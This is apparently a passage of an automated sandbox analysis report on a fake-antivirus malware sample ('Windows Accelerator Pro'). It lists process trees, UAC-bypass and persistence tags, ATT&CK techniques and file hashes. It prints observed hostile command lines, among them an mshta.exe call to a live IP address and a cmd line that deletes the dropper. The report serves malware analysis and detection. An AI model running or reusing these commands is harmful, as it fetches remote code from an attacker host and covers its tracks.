  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:2604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4800 /prefetch:1
  2⤵
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:1384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
  2⤵
  PID:4512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=collections --mojo-platform-channel-handle=2060 /prefetch:8
  2⤵
  PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2128 /prefetch:1
  2⤵
  PID:2792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5708 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2016,16958704091616044102,3275201366761520343,131072 --lang=de --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3196

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2792

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1072

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3952

C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]
"C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]"
1⤵
PID:1780
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 480
  2⤵
  - Program crash
  PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1780 -ip 1780
1⤵
PID:2784

C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]
"C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]"
1⤵
PID:1200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 456
  2⤵
  - Program crash
  PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1200 -ip 1200
1⤵
PID:1924

C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]
"C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Security Defender 2015\[email protected]"
1⤵
PID:4940
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4940 -s 456
  2⤵
  - Program crash
  PID:1484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4940 -ip 4940
1⤵
PID:2984

C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Windows Accelerator Pro\[email protected]
"C:\Users\Admin\Downloads\Malware_pack_2\Malware_pack_2\Windows Accelerator Pro\[email protected]"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3732
- C:\Users\Admin\AppData\Roaming\guard-dgxm.exe
  C:\Users\Admin\AppData\Roaming\guard-dgxm.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - System policy modification
  PID:2344
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=9200&5=1&6=1111&7=sdkrocqnop"
    3⤵
    - Blocklisted process makes network request
    PID:1216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\DOWNLO~1\MALWAR~1\MALWAR~1\WINDOW~1\ENDERM~1.EXE" >> NUL
  2⤵
  PID:3912

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3973855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1176

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2104

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e81c757cdb64c4fd5c91e6ade1a16308

SHA1
19dc7ff5e8551a2b08874131d962b697bb84ad9b

SHA256
82141d451d07bdb68991f33c59129214dd6d3d10158aeb7a1dc81efbc5fb12b3

SHA512
ba8de0b3b04fec5a96d361459dde0941b1b70f5be231fdec94806efa3ecf1e8faf8e27b1800fa606dc4a82e29d4cf5109b94109e5ad242ddf9f4671e2acbcfbd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2e57ec8bd99545e47a55d581964d0549

SHA1
bd7055ea7df7696298a94dedfc91136e3b530db8

SHA256
a50ba35608edc2f3360cc71be0d4b29bba0e3382d1f08f24df5322ce2ad2443c

SHA512
6b9b73d983c472149629c842e16e4f7c2f8a0a3bb6dd64837ef647db810ef1beb3a02b15dc1eec2c5de8aee6b3ca195c7d26c432705061c5b0ec7841a5bbf106

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
168B

MD5
43a9070cae78c301d1d07399ac741a50

SHA1
6676bdcf9697c5b667d1ef5b4a95ee86201965fd

SHA256
2c46571de4ceed87f3f9924657de3d098e0b97739833ae26c8da13dce8703b92

SHA512
da66369527e6375efd5dd9ea841c6957d46364baa823b9a47f1fd3dbef45d4486c6577da0c27f49eecee8baf0328c578e38e3ab19c3e23dbc8090bfcee70b8d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
417B

MD5
c93ee9960097a34870edf8f050e7dd47

SHA1
52600b57a22179fe8ed2669d80d12bfb023e9548

SHA256
d77369085b65d9409942b12555d6a800380374b94c0a5a2c23137ad5b320cf86

SHA512
64a8140cd6f7c4f430312196b9dbbf7f2d54e1592029c64aa24fad26142579e9803986384905082823fab6dea85d3fe7728b7a5b98e837ef158aea32001dae3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
498B

MD5
7a2284010a60e477af6f7d6956e0d91a

SHA1
2c32e54ca72fd377f60822369b348ff83f331832

SHA256
3baff09abd2f760e5dbeaa96785f8b169bed5313004b6fa19c36926c22484b89

SHA512
7a62401771958025ec01927794f294718fe026d3b897f6c6788173d8fb418afe07c6a1b94ccea6d44b8ab8e01cdc89c8438b19914667cc77666bf3dab42b0843

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
812f27a80cff490db8e4d9c0d868d5c1

SHA1
1c40011297281efecfac9e4a87443a6733bcd514

SHA256
df6c77144e37b7001d7b53c5d3e202c2a436372b6f04e7b7254e3d36c8a46b77

SHA512
04904f131b6b2ce60ca2062cce67f310f0c73aa85626613a3d24e8114eeec15621d07a2e2d1336573abb7b2483db340264d2b7e6fcdad938144ed66ddb37df6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
53b6243473b21bd22b8726dc7e9a0ba1

SHA1
833503abe28e69cd5230b27c32e3f7e60d4ae74b

SHA256
7cb1738c691e0b85e07eb552bceba6f6cf42eecf94c242384e61e98264f1a4ab

SHA512
e82ec94c313e5487445776fab4d95de3310c36685ff75666d05b7c97ca7abd06b66e1a30e4fe61b085f6c1550f46f3a601084a1e6fd73de88296b0c59184eb7e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
82725518540845aa32cff2692c961087

SHA1
6937ef129db86d91b9eb7b4fb097659993d7f11a

SHA256
619fb4af2c4ce4a97e568401f4584b437b8272d4800be2f09fe5ddd442218e62

SHA512
11f9282712b98b7b9d897351c2e846530514b39a7c86e1604e05022058a52e83535001f47bcc956b5c72199694730226a26c3219b1c60c4f49aca39f591b6f4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
3d4d5b03f73ecaf27d0fa79b91a99011

SHA1
2a219975c3a1825f946b60ccbb67cf73d09444b5

SHA256
999a07f7eca2ca138124057a9168015340f9f28661446eabc406df769f034c8b

SHA512
0181c92777584874fcd5005852e4ece536a44f9dfbfa50641635e2df383af9ec07dc723524327c28948187ea1f2afb1533fd70356cecc07cf462a14bc97e772c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
708B

MD5
afa6f6b6c9a9e53a3283dccbfb1d5270

SHA1
708718fe30df839c7f48ef2ff6ac009f9051f360

SHA256
2bc4b8833da0c20c2e8846bd4464f3ce821da9d779fa71d4a45747699a5b9551

SHA512
06230da1dff969c5553138641f1243040dde58e47c86dcf30b04e5eb318ac7f4bb8308006d923bd9b96cc0e391e330230b61d09ab6fe568dcdf959d650291867

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
540B

MD5
ab6a6bdf78846ac8c64e4975b58f08e0

SHA1
8eaa3925bcbf6d721f1840c84475e761bb050ff5

SHA256
c1fcff7e72c2276c0157e7c9ddbb9a772e56e325b6bd755c07708811551e7a80

SHA512
6bda595ab58ff1a62719a19e834440a9b1e5777a67d2b79fd3547aabbdf59a37ebcb55b236f8a80f62eaf29683b114172bdde64342c9b6b9fae510522cd86af7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe587ceb.TMP

Filesize
372B

MD5
199c6e7329bb325d1d47eb141d06c844

SHA1
470dfc4b606048c46fd336601a457a819f5e0640

SHA256
d6cf9afbaac06e18472ee3290d1ff3b573eaa1610cfd975b523cc81d5f4af012

SHA512
4f028441eae485d294344e49ec7327072f58a83fcbfd6d744141e5d03a46207c9dc1edf5363e9048079abaeb20f05afec55c28e0284a2536c87653c2646a1727

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5513d14294f7fabe34b1b1a3361dd5cb

SHA1
cbf8fed3f8564d58ec8512acb5addb030e789055

SHA256
5bc47d84cf7afa6e808e7246f2789f3ab338d808620a3409af86a6419c218248

SHA512
3e080166fd8f7aca2ce6bbb72306e0166fe3147fd51cce19021f7edf7214d013afe4d1f92981424e54b8c61651bfbd8c0ecf539eb0ca38e93b3d67396b3ae09d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
339528b6f6f495df082461a0d59dc231

SHA1
de53b7922cbd07242f8ad7286a50abd28896ced1

SHA256
32d179c4a06eb14864ed8de96c1fee23eabc28df3d997766b28caa8d5fae3cbd

SHA512
843e6b7549e97c6a9ae53769cb44c09737472bdd27e13e1f86785f5feda2d793df6e9dcd44111740f5c8343ea96de0f85e3c8722de66e60fbbac90f177861a08

Download Submit
C:\Users\Admin\AppData\Roaming\guard-dgxm.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
C:\Users\Admin\Downloads\Nicht bestätigt 33254.crdownload

Filesize
2.0MB

MD5
f9227ca3796d5d7f303fc10fcfd4e888

SHA1
e1a63a817cf4471bf187b243391583f1a5e7ac9e

SHA256
54c063f9e7e3807594494ff7b25b75d82a13da6a2683252ac76bcec5b4640205

SHA512
6e16bf60684d1fb435d6b4fe5dd2699ac41a365734c3ba4d603f46999a101b7ebc10c11d6046a4844e89b813951fb8319069ef644715fb8d0ce760fe2e424edd

Download Submit
memory/1200-296-0x0000000000C50000-0x0000000000D8B000-memory.dmp

Filesize
1.2MB

Download
memory/1780-294-0x0000000000C50000-0x0000000000D8B000-memory.dmp

Filesize
1.2MB

Download
memory/2344-310-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/3732-300-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/3732-306-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads